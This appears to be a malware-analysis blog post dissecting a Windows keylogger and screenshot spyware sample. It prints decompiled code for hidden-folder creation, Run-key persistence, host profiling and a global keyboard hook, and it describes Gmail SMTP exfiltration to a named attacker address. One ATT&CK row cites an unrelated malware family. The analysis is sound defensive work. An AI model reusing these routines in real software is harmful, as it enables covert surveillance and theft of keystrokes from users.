Post

Keylogger and screenshot spyware

Keylogger and screenshot spyware

OVERVIEW

Overview of the sample

ATT&CK

Reconnaissance

Gather Victim Host Information

The sample collects information about the victim’s machine.

Technique

An attacker can collect information about a victim’s hosts to help with targeting. That can include administrative data such as names, assigned IPs and function, as well as configuration details like the operating system and language.

They can gather it by active scanning, by phishing for information, or by compromising websites and adding malicious content that collects host information from visitors.

More details on the technique

1
`https://attack.mitre.org/techniques/T1592/`

Persistence And Privilege Escalation

Boot or Logon Autostart Execution

The sample starts itself when the computer is turned on.

Technique

An attacker can configure the system to run a program automatically at boot or logon, either to stay on the machine or to get higher privileges. Operating systems have mechanisms for this, such as running programs placed in special folders or referenced by configuration stores like the Windows Registry. Modifying or extending kernel features can do the same.

Some autostart programs run with higher privileges, so an attacker can use them to escalate.

More details on the technique

1
`https://attack.mitre.org/techniques/T1547/`

Hide Artifacts

Boot or Logon Autostart Execution

The sample hides itself inside another folder.

Technique

An attacker can try to hide the traces of their activity to avoid detection. Operating systems can hide things like important system files and administrative tasks so the user doesn’t disturb or change them by accident. An attacker can abuse these features to hide files, folders, user accounts or other system activity.

They can also hide malicious artifacts by creating areas of the machine that are isolated from the usual security tools, for example by using virtualization.

More details on the technique

1
`https://attack.mitre.org/techniques/T1564/`

Collection

Screen Capture

The sample takes screenshots of the victim’s screen.

Technique

An attacker can try to capture the desktop screen to collect information during an operation. Screen capture can be a feature of the remote access tools used after a compromise. It can also usually be done with native utilities or API calls such as CopyFromScreen, xwd or screencapture.

More details on the technique

1
`https://attack.mitre.org/techniques/T1113/`

Keylogger

Enterprise TechniqueTacticDescription
T1059.001Command and Scripting Interpreter: PowerShellDarkWatchman can execute PowerShell commands and has used PowerShell to execute a keylogger.[1]
T1059.003Command and Scripting Interpreter: Windows Command ShellDarkWatchman can use cmd.exe to execute commands.[1]

More details on the technique

https://attack.mitre.org/techniques/T1059/

Detailed analysis

Creating the EXPLORER folder

First the program hides its console window.

1
2
ConsoleWindow = GetConsoleWindow();
ShowWindow(ConsoleWindow, 0);

Hiding the console window

It then finds the folder for the file name variable by calling SHGetFolderPathW. Filename holds the value C:\Users\ndinh\AppData\Roaming.

1
2
3
4
5
6
7
8
9
10
11
12
a = [0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 
0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x6E, 0x00, 
0x64, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x68, 0x00, 0x5C, 0x00, 
0x41, 0x00, 0x70, 0x00, 0x70, 0x00, 0x44, 0x00, 0x61, 0x00, 
0x74, 0x00, 0x61, 0x00, 0x5C, 0x00, 0x52, 0x00, 0x6F, 0x00, 
0x61, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67]

filename = "".join(chr(c) for c in a)
print(filename)

C:\Users\ndinh\AppData\Roaming

Next it creates a folder named Explorer.

Creating the Explorer folder

CreateDirectoryW(aC_0, 0); creates that folder, and SetFileAttributesW(aC_0, 2u); sets its attribute to hidden.

1
2
3
FILE_ATTRIBUTE_HIDDEN
2 (0x2)
The file or directory is hidden. It is not included in an ordinary directory listing.

Creating Unikey.exe

It calls the function sub_3E1220.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int sub_3E1220()
{
HKEY phkResult; // [esp+0h] [ebp-418h] BYREF
WCHAR Filename[260]; // [esp+4h] [ebp-414h] BYREF
WCHAR NewFileName[260]; // [esp+20Ch] [ebp-20Ch] BYREF

memset(NewFileName, 0, sizeof(NewFileName));
GetModuleFileNameW(0, Filename, 0x104u);
swprintf_s(NewFileName, 0x104u, L"%s\\%s", aC_0, L"Unikey.exe");
CopyFileExW(Filename, NewFileName, 0, 0, 0, 0);
if ( RegCreateKeyExA(
        HKEY_LOCAL_MACHINE,
        "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0,
        0,
        0,
        0xF003Fu,
        0,
        &phkResult,
        0) )
{
    return 0;
}
RegSetValueExW(phkResult, L"UniKey NT", 0, 1u, (const BYTE *)NewFileName, 0x104u);
RegCloseKey(phkResult);
return 1;
}

It creates a file Unikey.exe and copies the running program (the sample, running as Explorer.exe) over to Unikey.exe. The copy goes into C:\Users\ndinh\AppData\Roaming\Explorer\Explorer.exe, but it gets renamed to C:\Users\ndinh\AppData\Roaming\Explorer\Unikey.exe. It also registers it under the Run key as UniKey NT so it starts at logon.

Creating Transfer.exe

Back in the original main function, it writes one more file, Transfer.exe, also into the folder held in the file name variable, at C:\Users\ndinh\AppData\Roaming\Explorer\Transfer.exe.

1
swprintf_s(WideCharStr, 0x104u, L"%s\\%s", FileName, L"Transfer.exe");

Creating Transfer.exe

After closing the handle it calls sub_3E14F0, which creates systeminfo.txt and writes content into it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int sub_3E14F0()
{
HANDLE FileW; // esi
HKEY phkResult; // [esp+8h] [ebp-9E8h] BYREF
DWORD cbData; // [esp+Ch] [ebp-9E4h] BYREF
BYTE Data[1000]; // [esp+10h] [ebp-9E0h] BYREF
char Buffer[1000]; // [esp+3F8h] [ebp-5F8h] BYREF
WCHAR FileName[262]; // [esp+7E0h] [ebp-210h] BYREF

memset(FileName, 0, 520);
swprintf_s(FileName, 0x104u, L"%s\\%s", ::FileName, L"systeminfo.txt");
FileW = CreateFileW(FileName, 0xC0000000, 3u, 0, 2u, 0x80u, 0);
memset(Data, 0, sizeof(Data));
cbData = 1000;
if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", 0, 0x20019u, &phkResult) )
{
    CloseHandle(FileW);
    return 0;
}
else
{
    RegQueryValueExA(phkResult, "ProcessorNameString", 0, 0, Data, &cbData);
    memset(Buffer, 0, sizeof(Buffer));
    sprintf_s(Buffer, 0x3E8u, "Vi xu ly %s\r\n", (const char *)Data);
    WriteFile(FileW, Buffer, strlen(Buffer), &cbData, 0);
    RegCloseKey(phkResult);
    sub_3E1930(FileW);
    CloseHandle(FileW);
    return 1;
}
}

Creating the systeminfo file

After closing the key it prints out the machine’s configuration.

Machine configuration written out

Next it calls sub_3E1930(FileW);, which takes values from the machine and saves them into systeminfo.txt. Once it returns and the caller writes to the txt file, this is the complete content:

Complete systeminfo.txt content

Back in main(), it creates a new thread that runs MessageBoxA and the function sub_401320(), which is the keylog function. If it can’t call this function, it shows MessageBoxA(0, "Can not install hook!", "Error", 0);

1
2
3
4
5
6
7
8
9
10
11
DWORD __stdcall StartAddress(LPVOID lpThreadParameter)
{
if ( !sub_3E1320() )
    MessageBoxA(0, "Can not install hook!", "Error", 0);
while ( GetMessageW(&Msg, 0, 0, 0) )
{
    TranslateMessage(&Msg);
    DispatchMessageW(&Msg);
}
return 0;
}

Creating Keylog.dll

Analysing sub_401320() shows it creates a file at C:\Users\ndinh\AppData\Roaming\Explorer\Keylog.dll.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int sub_401320()
{
HRSRC ResourceW; // esi
HGLOBAL Resource; // eax
const void *v2; // ebx
DWORD v3; // edi
HANDLE FileW; // esi
HMODULE ModuleHandleA; // eax
HMODULE v7; // esi
LRESULT (__stdcall *FillKeyboard)(int, WPARAM, LPARAM); // eax
FARPROC SetGlobalHookHandle; // eax
HINSTANCE v10; // [esp-8h] [ebp-224h]
DWORD NumberOfBytesWritten; // [esp+Ch] [ebp-210h] BYREF
WCHAR FileName[260]; // [esp+10h] [ebp-20Ch] BYREF

memset(FileName, 0, sizeof(FileName));
swprintf_s(FileName, 0x104u, L"%s\\%s", Buffer, L"KeyLog.dll");
ResourceW = FindResourceW(0, (LPCWSTR)0x67, L"Dll");
Resource = LoadResource(0, ResourceW);
v2 = LockResource(Resource);
v3 = SizeofResource(0, ResourceW);
FileW = CreateFileW(FileName, 0x10000000u, 1u, 0, 2u, 0x80u, 0);
WriteFile(FileW, v2, v3, &NumberOfBytesWritten, 0);
CloseHandle(FileW);
if ( !LoadLibraryW(FileName) )
{
    MessageBoxA(0, "Can not load DLL file.", "Error", 0);
    return 0;
}
ModuleHandleA = GetModuleHandleA("KeyLog");
v7 = ModuleHandleA;
if ( !ModuleHandleA )
    return 0;
v10 = ModuleHandleA;
FillKeyboard = (LRESULT (__stdcall *)(int, WPARAM, LPARAM))GetProcAddress(ModuleHandleA, "FillKeyboard");
dword_4181EC = (int)SetWindowsHookExW(2, FillKeyboard, v10, 0);
if ( !dword_4181EC )
    return 0;
SetGlobalHookHandle = GetProcAddress(v7, "SetGlobalHookHandle");
if ( !SetGlobalHookHandle )
    return 0;
((void (__cdecl *)(int))SetGlobalHookHandle)(dword_4181EC);
return 1;
}

A thread running alongside the keylogger

The thread runs in parallel with the function sub_3E1790() inside a while loop.

Thread running next to the keylogger

Taking screenshots of the user’s screen

Next there’s a while loop like this.

1
2
3
4
5
6
while ( 1 )
{
    sub_3E1790();
    system(MultiByteStr);
    Sleep(0x927C0u);
}

It calls sub_3E1790(). This function mostly sets things up to take a screenshot of our screen and write it to C:\Users\ndinh\AppData\Roaming\Explorer\screen.jpeg.

Screenshot function

Writing the keylog to the Log file

This is the content written out to the Log file.

Content of the Log file

Running Transfer.exe

Before the sleep in the while() loop, it calls system to run cmd and execute Transfer.exe.

Launching Transfer.exe through system

Checking the two files, Unikey.exe is a copy of the original file, while Transfer.exe is compiled with C#. So I decompiled the C# file.

The two dropped executables

After decompiling:

Decompiled Transfer.exe

It declares a variable name with the value “%appdata%\Explorer”, then name = Environment.ExpandEnvironmentVariables(name); expands it to the real path of the %appdata%\Explorer folder.

It creates an SmtpClient object to send email through Gmail’s SMTP server, smtp.gmail.com on port 587. It turns on SSL by setting the EnableSsl property of smtpClient to true, and authenticates with Gmail by putting the account details into a NetworkCredential object. The account is anhthc95@gmail.com, and its password sits right next to it in plain text (I redacted it here).

It creates a MailMessage object to hold the email’s information, including the sender and recipient addresses, the subject, and the body. WindowsIdentity.GetCurrent().Name gets the name of the user currently logged in to the computer, and it’s combined with a dash to make the subject. The current time is formatted in English and used as the body of the email.

It then checks the folder given by name for screen.jpeg, Log.txt and systeminfo.txt and attaches each one that exists. The email is sent with the smtpClient object. Any error during sending is caught and ignored.

Goal of the malware

The malware creates a hidden Explorer folder at C:\Users\ndinh\AppData\Roaming\Explorer, then creates Unikey.exe, a second copy of Explorer.exe that does the same job. It creates Systeminfo.txt to collect information about the computer and the applications installed on it, then takes screenshots of what the victim is using. A separate thread sets up the keylogger and records the victim’s activity into the Log file. Finally it sends all of this to the attacker’s email address through Transfer.exe, which a thread launches.

This post is licensed under CC BY 4.0 by the author.